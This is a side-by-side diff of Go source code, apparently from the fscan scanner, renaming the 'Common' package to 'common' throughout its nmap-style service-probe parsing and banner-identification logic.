if excludeCount == 1 { if excludeCount == 1 {
v.Exclude = firstLine[len("Exclude")+1:] v.Exclude = firstLine[len("Exclude")+1:]
lines = lines[1:] lines = lines[1:]
Common.LogDebug("解析到Exclude规则: " + v.Exclude) common.LogDebug("解析到Exclude规则: " + v.Exclude)
} }
// 合并内容并分割探测器 // 合并内容并分割探测器
@ -357,59 +357,59 @@ func (v *VScan) parseProbesFromContent(content string) {
for _, probePart := range probeParts { for _, probePart := range probeParts {
probe := Probe{} probe := Probe{}
if err := probe.fromString(probePart); err != nil { if err := probe.fromString(probePart); err != nil {
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err)) common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
continue continue
} }
probes = append(probes, probe) probes = append(probes, probe)
} }
v.AllProbes = probes v.AllProbes = probes
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes))) common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
} }
// 将探测器转换为名称映射 // 将探测器转换为名称映射
func (v *VScan) parseProbesToMapKName() { func (v *VScan) parseProbesToMapKName() {
Common.LogDebug("开始构建探测器名称映射") common.LogDebug("开始构建探测器名称映射")
v.ProbesMapKName = map[string]Probe{} v.ProbesMapKName = map[string]Probe{}
for _, probe := range v.AllProbes { for _, probe := range v.AllProbes {
v.ProbesMapKName[probe.Name] = probe v.ProbesMapKName[probe.Name] = probe
Common.LogDebug("添加探测器映射: " + probe.Name) common.LogDebug("添加探测器映射: " + probe.Name)
} }
} }
// 设置使用的探测器 // 设置使用的探测器
func (v *VScan) SetusedProbes() { func (v *VScan) SetusedProbes() {
Common.LogDebug("开始设置要使用的探测器") common.LogDebug("开始设置要使用的探测器")
for _, probe := range v.AllProbes { for _, probe := range v.AllProbes {
if strings.ToLower(probe.Protocol) == "tcp" { if strings.ToLower(probe.Protocol) == "tcp" {
if probe.Name == "SSLSessionReq" { if probe.Name == "SSLSessionReq" {
Common.LogDebug("跳过 SSLSessionReq 探测器") common.LogDebug("跳过 SSLSessionReq 探测器")
continue continue
} }
v.Probes = append(v.Probes, probe) v.Probes = append(v.Probes, probe)
Common.LogDebug("添加TCP探测器: " + probe.Name) common.LogDebug("添加TCP探测器: " + probe.Name)
// 特殊处理TLS会话请求 // 特殊处理TLS会话请求
if probe.Name == "TLSSessionReq" { if probe.Name == "TLSSessionReq" {
sslProbe := v.ProbesMapKName["SSLSessionReq"] sslProbe := v.ProbesMapKName["SSLSessionReq"]
v.Probes = append(v.Probes, sslProbe) v.Probes = append(v.Probes, sslProbe)
Common.LogDebug("为TLSSessionReq添加SSL探测器") common.LogDebug("为TLSSessionReq添加SSL探测器")
} }
} else { } else {
v.UdpProbes = append(v.UdpProbes, probe) v.UdpProbes = append(v.UdpProbes, probe)
Common.LogDebug("添加UDP探测器: " + probe.Name) common.LogDebug("添加UDP探测器: " + probe.Name)
} }
} }
Common.LogDebug(fmt.Sprintf("探测器设置完成TCP: %d个, UDP: %d个", common.LogDebug(fmt.Sprintf("探测器设置完成TCP: %d个, UDP: %d个",
len(v.Probes), len(v.UdpProbes))) len(v.Probes), len(v.UdpProbes)))
} }
// 解析match指令获取匹配规则 // 解析match指令获取匹配规则
func (p *Probe) getMatch(data string) (match Match, err error) { func (p *Probe) getMatch(data string) (match Match, err error) {
Common.LogDebug("开始解析match指令" + data) common.LogDebug("开始解析match指令" + data)
match = Match{} match = Match{}
// 提取match文本并解析指令语法 // 提取match文本并解析指令语法
@ -428,14 +428,14 @@ func (p *Probe) getMatch(data string) (match Match, err error) {
// 解码并编译正则表达式 // 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern) patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil { if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error()) common.LogDebug("解码pattern失败: " + decodeErr.Error())
return match, decodeErr return match, decodeErr
} }
patternUnescapedStr := string([]rune(string(patternUnescaped))) patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr) patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil { if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error()) common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return match, compileErr return match, compileErr
} }
@ -445,14 +445,14 @@ func (p *Probe) getMatch(data string) (match Match, err error) {
match.PatternCompiled = patternCompiled match.PatternCompiled = patternCompiled
match.VersionInfo = versionInfo match.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s", common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
match.Service, match.Pattern)) match.Service, match.Pattern))
return match, nil return match, nil
} }
// 解析softmatch指令获取软匹配规则 // 解析softmatch指令获取软匹配规则
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) { func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
Common.LogDebug("开始解析softmatch指令" + data) common.LogDebug("开始解析softmatch指令" + data)
softMatch = Match{IsSoft: true} softMatch = Match{IsSoft: true}
// 提取softmatch文本并解析指令语法 // 提取softmatch文本并解析指令语法
@ -471,14 +471,14 @@ func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
// 解码并编译正则表达式 // 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern) patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil { if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error()) common.LogDebug("解码pattern失败: " + decodeErr.Error())
return softMatch, decodeErr return softMatch, decodeErr
} }
patternUnescapedStr := string([]rune(string(patternUnescaped))) patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr) patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil { if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error()) common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return softMatch, compileErr return softMatch, compileErr
} }
@ -488,14 +488,14 @@ func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
softMatch.PatternCompiled = patternCompiled softMatch.PatternCompiled = patternCompiled
softMatch.VersionInfo = versionInfo softMatch.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s", common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
softMatch.Service, softMatch.Pattern)) softMatch.Service, softMatch.Pattern))
return softMatch, nil return softMatch, nil
} }
// 解码模式字符串,处理转义序列 // 解码模式字符串,处理转义序列
func DecodePattern(s string) ([]byte, error) { func DecodePattern(s string) ([]byte, error) {
Common.LogDebug("开始解码pattern: " + s) common.LogDebug("开始解码pattern: " + s)
sByteOrigin := []byte(s) sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列 // 处理十六进制、八进制和结构化转义序列
@ -545,7 +545,7 @@ func DecodePattern(s string) ([]byte, error) {
return match return match
}) })
Common.LogDebug("pattern解码完成") common.LogDebug("pattern解码完成")
return sByteDec2, nil return sByteDec2, nil
} }
@ -576,7 +576,7 @@ type Target struct {
// ContainsPort 检查指定端口是否在探测器的端口范围内 // ContainsPort 检查指定端口是否在探测器的端口范围内
func (p *Probe) ContainsPort(testPort int) bool { func (p *Probe) ContainsPort(testPort int) bool {
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports)) common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
// 检查单个端口 // 检查单个端口
ports := strings.Split(p.Ports, ",") ports := strings.Split(p.Ports, ",")
@ -584,7 +584,7 @@ func (p *Probe) ContainsPort(testPort int) bool {
port = strings.TrimSpace(port) port = strings.TrimSpace(port)
cmpPort, err := strconv.Atoi(port) cmpPort, err := strconv.Atoi(port)
if err == nil && testPort == cmpPort { if err == nil && testPort == cmpPort {
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort)) common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
return true return true
} }
} }
@ -595,7 +595,7 @@ func (p *Probe) ContainsPort(testPort int) bool {
if strings.Contains(port, "-") { if strings.Contains(port, "-") {
portRange := strings.Split(port, "-") portRange := strings.Split(port, "-")
if len(portRange) != 2 { if len(portRange) != 2 {
Common.LogDebug("无效的端口范围格式: " + port) common.LogDebug("无效的端口范围格式: " + port)
continue continue
} }
@ -603,18 +603,18 @@ func (p *Probe) ContainsPort(testPort int) bool {
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1])) end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
if err1 != nil || err2 != nil { if err1 != nil || err2 != nil {
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port)) common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
continue continue
} }
if testPort >= start && testPort <= end { if testPort >= start && testPort <= end {
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end)) common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
return true return true
} }
} }
} }
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort)) common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
return false return false
} }
@ -626,7 +626,7 @@ func (m *Match) MatchPattern(response []byte) bool {
if len(foundItems) > 0 { if len(foundItems) > 0 {
m.FoundItems = foundItems m.FoundItems = foundItems
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems))) common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
return true return true
} }
@ -635,7 +635,7 @@ func (m *Match) MatchPattern(response []byte) bool {
// ParseVersionInfo 解析版本信息并返回额外信息结构 // ParseVersionInfo 解析版本信息并返回额外信息结构
func (m *Match) ParseVersionInfo(response []byte) Extras { func (m *Match) ParseVersionInfo(response []byte) Extras {
Common.LogDebug("开始解析版本信息") common.LogDebug("开始解析版本信息")
var extras = Extras{} var extras = Extras{}
// 替换版本信息中的占位符 // 替换版本信息中的占位符
@ -645,7 +645,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
dollarName := "$" + strconv.Itoa(index+1) dollarName := "$" + strconv.Itoa(index+1)
versionInfo = strings.Replace(versionInfo, dollarName, value, -1) versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
} }
Common.LogDebug("替换后的版本信息: " + versionInfo) common.LogDebug("替换后的版本信息: " + versionInfo)
// 定义解析函数 // 定义解析函数
parseField := func(field, pattern string) string { parseField := func(field, pattern string) string {
@ -658,7 +658,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
if strings.Contains(versionInfo, pattern) { if strings.Contains(versionInfo, pattern) {
regex := regexp.MustCompile(p) regex := regexp.MustCompile(p)
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 { if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1])) common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
return matches[1] return matches[1]
} }
} }
@ -685,7 +685,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
} else { } else {
extras.CPE = cpeName[0] extras.CPE = cpeName[0]
} }
Common.LogDebug("解析到CPE: " + extras.CPE) common.LogDebug("解析到CPE: " + extras.CPE)
break break
} }
} }
@ -696,7 +696,7 @@ func (m *Match) ParseVersionInfo(response []byte) Extras {
// ToMap 将 Extras 转换为 map[string]string // ToMap 将 Extras 转换为 map[string]string
func (e *Extras) ToMap() map[string]string { func (e *Extras) ToMap() map[string]string {
Common.LogDebug("开始转换Extras为Map") common.LogDebug("开始转换Extras为Map")
result := make(map[string]string) result := make(map[string]string)
// 定义字段映射 // 定义字段映射
@ -714,21 +714,21 @@ func (e *Extras) ToMap() map[string]string {
for key, value := range fields { for key, value := range fields {
if value != "" { if value != "" {
result[key] = value result[key] = value
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value)) common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
} }
} }
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result))) common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
return result return result
} }
func DecodeData(s string) ([]byte, error) { func DecodeData(s string) ([]byte, error) {
if len(s) == 0 { if len(s) == 0 {
Common.LogDebug("输入数据为空") common.LogDebug("输入数据为空")
return nil, fmt.Errorf("empty input") return nil, fmt.Errorf("empty input")
} }
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s)) common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
sByteOrigin := []byte(s) sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列 // 处理十六进制、八进制和结构化转义序列
@ -770,7 +770,7 @@ func DecodeData(s string) ([]byte, error) {
return []byte{uint8(byteNum)} return []byte{uint8(byteNum)}
} }
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match))) common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
return match return match
}) })
@ -787,35 +787,35 @@ func DecodeData(s string) ([]byte, error) {
}) })
if len(sByteDec2) == 0 { if len(sByteDec2) == 0 {
Common.LogDebug("解码后数据为空") common.LogDebug("解码后数据为空")
return nil, fmt.Errorf("decoded data is empty") return nil, fmt.Errorf("decoded data is empty")
} }
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2)) common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
return sByteDec2, nil return sByteDec2, nil
} }
// GetAddress 获取目标的完整地址IP:端口) // GetAddress 获取目标的完整地址IP:端口)
func (t *Target) GetAddress() string { func (t *Target) GetAddress() string {
addr := t.IP + ":" + strconv.Itoa(t.Port) addr := t.IP + ":" + strconv.Itoa(t.Port)
Common.LogDebug("获取目标地址: " + addr) common.LogDebug("获取目标地址: " + addr)
return addr return addr
} }
// trimBanner 处理和清理横幅数据 // trimBanner 处理和清理横幅数据
func trimBanner(buf []byte) string { func trimBanner(buf []byte) string {
Common.LogDebug("开始处理横幅数据") common.LogDebug("开始处理横幅数据")
bufStr := string(buf) bufStr := string(buf)
// 特殊处理SMB协议 // 特殊处理SMB协议
if strings.Contains(bufStr, "SMB") { if strings.Contains(bufStr, "SMB") {
banner := hex.EncodeToString(buf) banner := hex.EncodeToString(buf)
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
Common.LogDebug("检测到SMB协议数据") common.LogDebug("检测到SMB协议数据")
plain := banner[0xa2:] plain := banner[0xa2:]
data, err := hex.DecodeString(plain) data, err := hex.DecodeString(plain)
if err != nil { if err != nil {
Common.LogDebug("SMB数据解码失败: " + err.Error()) common.LogDebug("SMB数据解码失败: " + err.Error())
return bufStr return bufStr
} }
@ -844,7 +844,7 @@ func trimBanner(buf []byte) string {
} }
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain) smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
Common.LogDebug("SMB横幅: " + smbBanner) common.LogDebug("SMB横幅: " + smbBanner)
return smbBanner return smbBanner
} }
} }
@ -863,15 +863,15 @@ func trimBanner(buf []byte) string {
re := regexp.MustCompile(`\s{2,}`) re := regexp.MustCompile(`\s{2,}`)
src = re.ReplaceAllString(src, ".") src = re.ReplaceAllString(src, ".")
result := strings.TrimSpace(src) result := strings.TrimSpace(src)
Common.LogDebug("处理后的横幅: " + result) common.LogDebug("处理后的横幅: " + result)
return result return result
} }
// Init 初始化VScan对象 // Init 初始化VScan对象
func (v *VScan) Init() { func (v *VScan) Init() {
Common.LogDebug("开始初始化VScan") common.LogDebug("开始初始化VScan")
v.parseProbesFromContent(ProbeString) v.parseProbesFromContent(ProbeString)
v.parseProbesToMapKName() v.parseProbesToMapKName()
v.SetusedProbes() v.SetusedProbes()
Common.LogDebug("VScan初始化完成") common.LogDebug("VScan初始化完成")
} }

View File

@ -1,8 +1,8 @@
package Core package core
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"io" "io"
"net" "net"
"strings" "strings"
@ -52,8 +52,8 @@ type PortInfoScanner struct {
// 预定义的基础探测器 // 预定义的基础探测器
var ( var (
null = new(Probe) // 空探测器,用于基本协议识别 null = new(Probe) // 空探测器,用于基本协议识别
common = new(Probe) // 通用探测器,用于常见服务识别 commonProbe = new(Probe) // 通用探测器,用于常见服务识别
) )
// NewPortInfoScanner 创建新的端口服务识别器实例 // NewPortInfoScanner 创建新的端口服务识别器实例
@ -76,7 +76,7 @@ func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Durat
// Identify 执行服务识别,返回识别结果 // Identify 执行服务识别,返回识别结果
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) { func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port)) common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
s.info.PortInfo() s.info.PortInfo()
// 构造返回结果 // 构造返回结果
@ -92,7 +92,7 @@ func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
serviceInfo.Extras[k] = v serviceInfo.Extras[k] = v
} }
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name)) common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
return serviceInfo, nil return serviceInfo, nil
} }
@ -100,41 +100,41 @@ func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
func (i *Info) PortInfo() { func (i *Info) PortInfo() {
// 1. 首先尝试读取服务的初始响应 // 1. 首先尝试读取服务的初始响应
if response, err := i.Read(); err == nil && len(response) > 0 { if response, err := i.Read(); err == nil && len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response))) common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
// 使用基础探测器检查响应 // 使用基础探测器检查响应
Common.LogDebug("尝试使用基础探测器(null/common)检查响应") common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, common}) { if i.tryProbes(response, []*Probe{null, commonProbe}) {
Common.LogDebug("基础探测器匹配成功") common.LogDebug("基础探测器匹配成功")
return return
} }
Common.LogDebug("基础探测器未匹配") common.LogDebug("基础探测器未匹配")
} else if err != nil { } else if err != nil {
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err)) common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
} }
// 记录已使用的探测器,避免重复使用 // 记录已使用的探测器,避免重复使用
usedProbes := make(map[string]struct{}) usedProbes := make(map[string]struct{})
// 2. 尝试使用端口专用探测器 // 2. 尝试使用端口专用探测器
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port)) common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
if i.processPortMapProbes(usedProbes) { if i.processPortMapProbes(usedProbes) {
Common.LogDebug("端口专用探测器匹配成功") common.LogDebug("端口专用探测器匹配成功")
return return
} }
Common.LogDebug("端口专用探测器未匹配") common.LogDebug("端口专用探测器未匹配")
// 3. 使用默认探测器列表 // 3. 使用默认探测器列表
Common.LogDebug("尝试使用默认探测器列表") common.LogDebug("尝试使用默认探测器列表")
if i.processDefaultProbes(usedProbes) { if i.processDefaultProbes(usedProbes) {
Common.LogDebug("默认探测器匹配成功") common.LogDebug("默认探测器匹配成功")
return return
} }
Common.LogDebug("默认探测器未匹配") common.LogDebug("默认探测器未匹配")
// 4. 如果所有探测都失败,标记为未知服务 // 4. 如果所有探测都失败,标记为未知服务
if strings.TrimSpace(i.Result.Service.Name) == "" { if strings.TrimSpace(i.Result.Service.Name) == "" {
Common.LogDebug("未识别出服务,标记为 unknown") common.LogDebug("未识别出服务,标记为 unknown")
i.Result.Service.Name = "unknown" i.Result.Service.Name = "unknown"
} }
} }
@ -142,10 +142,10 @@ func (i *Info) PortInfo() {
// tryProbes 尝试使用指定的探测器列表检查响应 // tryProbes 尝试使用指定的探测器列表检查响应
func (i *Info) tryProbes(response []byte, probes []*Probe) bool { func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
for _, probe := range probes { for _, probe := range probes {
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name)) common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
i.GetInfo(response, probe) i.GetInfo(response, probe)
if i.Found { if i.Found {
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name)) common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
return true return true
} }
} }
@ -155,28 +155,28 @@ func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
// processPortMapProbes 处理端口映射中的专用探测器 // processPortMapProbes 处理端口映射中的专用探测器
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool { func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
// 检查是否存在端口专用探测器 // 检查是否存在端口专用探测器
if len(Common.PortMap[i.Port]) == 0 { if len(common.PortMap[i.Port]) == 0 {
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port)) common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
return false return false
} }
// 遍历端口专用探测器 // 遍历端口专用探测器
for _, name := range Common.PortMap[i.Port] { for _, name := range common.PortMap[i.Port] {
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name)) common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
usedProbes[name] = struct{}{} usedProbes[name] = struct{}{}
probe := v.ProbesMapKName[name] probe := v.ProbesMapKName[name]
// 解码探测数据 // 解码探测数据
probeData, err := DecodeData(probe.Data) probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 { if err != nil || len(probeData) == 0 {
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name)) common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
continue continue
} }
// 发送探测数据并获取响应 // 发送探测数据并获取响应
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData))) common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
if response := i.Connect(probeData); len(response) > 0 { if response := i.Connect(probeData); len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response))) common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
// 使用当前探测器检查响应 // 使用当前探测器检查响应
i.GetInfo(response, &probe) i.GetInfo(response, &probe)
@ -193,7 +193,7 @@ func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
case "NULL": case "NULL":
continue continue
default: default:
if i.tryProbes(response, []*Probe{common}) { if i.tryProbes(response, []*Probe{commonProbe}) {
return true return true
} }
} }
@ -208,7 +208,7 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
const maxFailures = 10 // 最大失败次数 const maxFailures = 10 // 最大失败次数
// 遍历默认探测器列表 // 遍历默认探测器列表
for _, name := range Common.DefaultMap { for _, name := range common.DefaultMap {
// 跳过已使用的探测器 // 跳过已使用的探测器
if _, used := usedProbes[name]; used { if _, used := usedProbes[name]; used {
continue continue
@ -245,14 +245,14 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
case "NULL": case "NULL":
continue continue
default: default:
if i.tryProbes(response, []*Probe{common}) { if i.tryProbes(response, []*Probe{commonProbe}) {
return true return true
} }
} }
// 尝试使用端口映射中的其他探测器 // 尝试使用端口映射中的其他探测器
if len(Common.PortMap[i.Port]) > 0 { if len(common.PortMap[i.Port]) > 0 {
for _, mappedName := range Common.PortMap[i.Port] { for _, mappedName := range common.PortMap[i.Port] {
usedProbes[mappedName] = struct{}{} usedProbes[mappedName] = struct{}{}
mappedProbe := v.ProbesMapKName[mappedName] mappedProbe := v.ProbesMapKName[mappedName]
i.GetInfo(response, &mappedProbe) i.GetInfo(response, &mappedProbe)
@ -267,11 +267,11 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
// GetInfo 分析响应数据并提取服务信息 // GetInfo 分析响应数据并提取服务信息
func (i *Info) GetInfo(response []byte, probe *Probe) { func (i *Info) GetInfo(response []byte, probe *Probe) {
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response))) common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
// 响应数据有效性检查 // 响应数据有效性检查
if len(response) <= 0 { if len(response) <= 0 {
Common.LogDebug("响应数据为空") common.LogDebug("响应数据为空")
return return
} }
@ -282,25 +282,25 @@ func (i *Info) GetInfo(response []byte, probe *Probe) {
) )
// 处理主要匹配规则 // 处理主要匹配规则
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name)) common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
if matched, match := i.processMatches(response, probe.Matchs); matched { if matched, match := i.processMatches(response, probe.Matchs); matched {
Common.LogDebug("找到硬匹配") common.LogDebug("找到硬匹配")
return return
} else if match != nil { } else if match != nil {
Common.LogDebug("找到软匹配") common.LogDebug("找到软匹配")
softFound = true softFound = true
softMatch = *match softMatch = *match
} }
// 处理回退匹配规则 // 处理回退匹配规则
if probe.Fallback != "" { if probe.Fallback != "" {
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback)) common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok { if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
if matched, match := i.processMatches(response, fbProbe.Matchs); matched { if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
Common.LogDebug("回退匹配成功") common.LogDebug("回退匹配成功")
return return
} else if match != nil { } else if match != nil {
Common.LogDebug("找到回退软匹配") common.LogDebug("找到回退软匹配")
softFound = true softFound = true
softMatch = *match softMatch = *match
} }
@ -309,14 +309,14 @@ func (i *Info) GetInfo(response []byte, probe *Probe) {
// 处理未找到匹配的情况 // 处理未找到匹配的情况
if !i.Found { if !i.Found {
Common.LogDebug("未找到硬匹配,处理未匹配情况") common.LogDebug("未找到硬匹配,处理未匹配情况")
i.handleNoMatch(response, result, softFound, softMatch) i.handleNoMatch(response, result, softFound, softMatch)
} }
} }
// processMatches 处理匹配规则集 // processMatches 处理匹配规则集
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) { func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches))) common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
var softMatch *Match var softMatch *Match
for _, match := range *matches { for _, match := range *matches {
@ -325,11 +325,11 @@ func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match)
} }
if !match.IsSoft { if !match.IsSoft {
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service)) common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
i.handleHardMatch(response, &match) i.handleHardMatch(response, &match)
return true, nil return true, nil
} else if softMatch == nil { } else if softMatch == nil {
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service)) common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
tmpMatch := match tmpMatch := match
softMatch = &tmpMatch softMatch = &tmpMatch
} }
@ -340,7 +340,7 @@ func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match)
// handleHardMatch 处理硬匹配结果 // handleHardMatch 处理硬匹配结果
func (i *Info) handleHardMatch(response []byte, match *Match) { func (i *Info) handleHardMatch(response []byte, match *Match) {
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service)) common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
result := &i.Result result := &i.Result
extras := match.ParseVersionInfo(response) extras := match.ParseVersionInfo(response)
extrasMap := extras.ToMap() extrasMap := extras.ToMap()
@ -352,36 +352,36 @@ func (i *Info) handleHardMatch(response []byte, match *Match) {
// 特殊处理 microsoft-ds 服务 // 特殊处理 microsoft-ds 服务
if result.Service.Name == "microsoft-ds" { if result.Service.Name == "microsoft-ds" {
Common.LogDebug("特殊处理 microsoft-ds 服务") common.LogDebug("特殊处理 microsoft-ds 服务")
result.Service.Extras["hostname"] = result.Banner result.Service.Extras["hostname"] = result.Banner
} }
i.Found = true i.Found = true
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner)) common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
} }
// handleNoMatch 处理未找到匹配的情况 // handleNoMatch 处理未找到匹配的情况
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) { func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
Common.LogDebug("处理未匹配情况") common.LogDebug("处理未匹配情况")
result.Banner = trimBanner(response) result.Banner = trimBanner(response)
if !softFound { if !softFound {
// 尝试识别 HTTP 服务 // 尝试识别 HTTP 服务
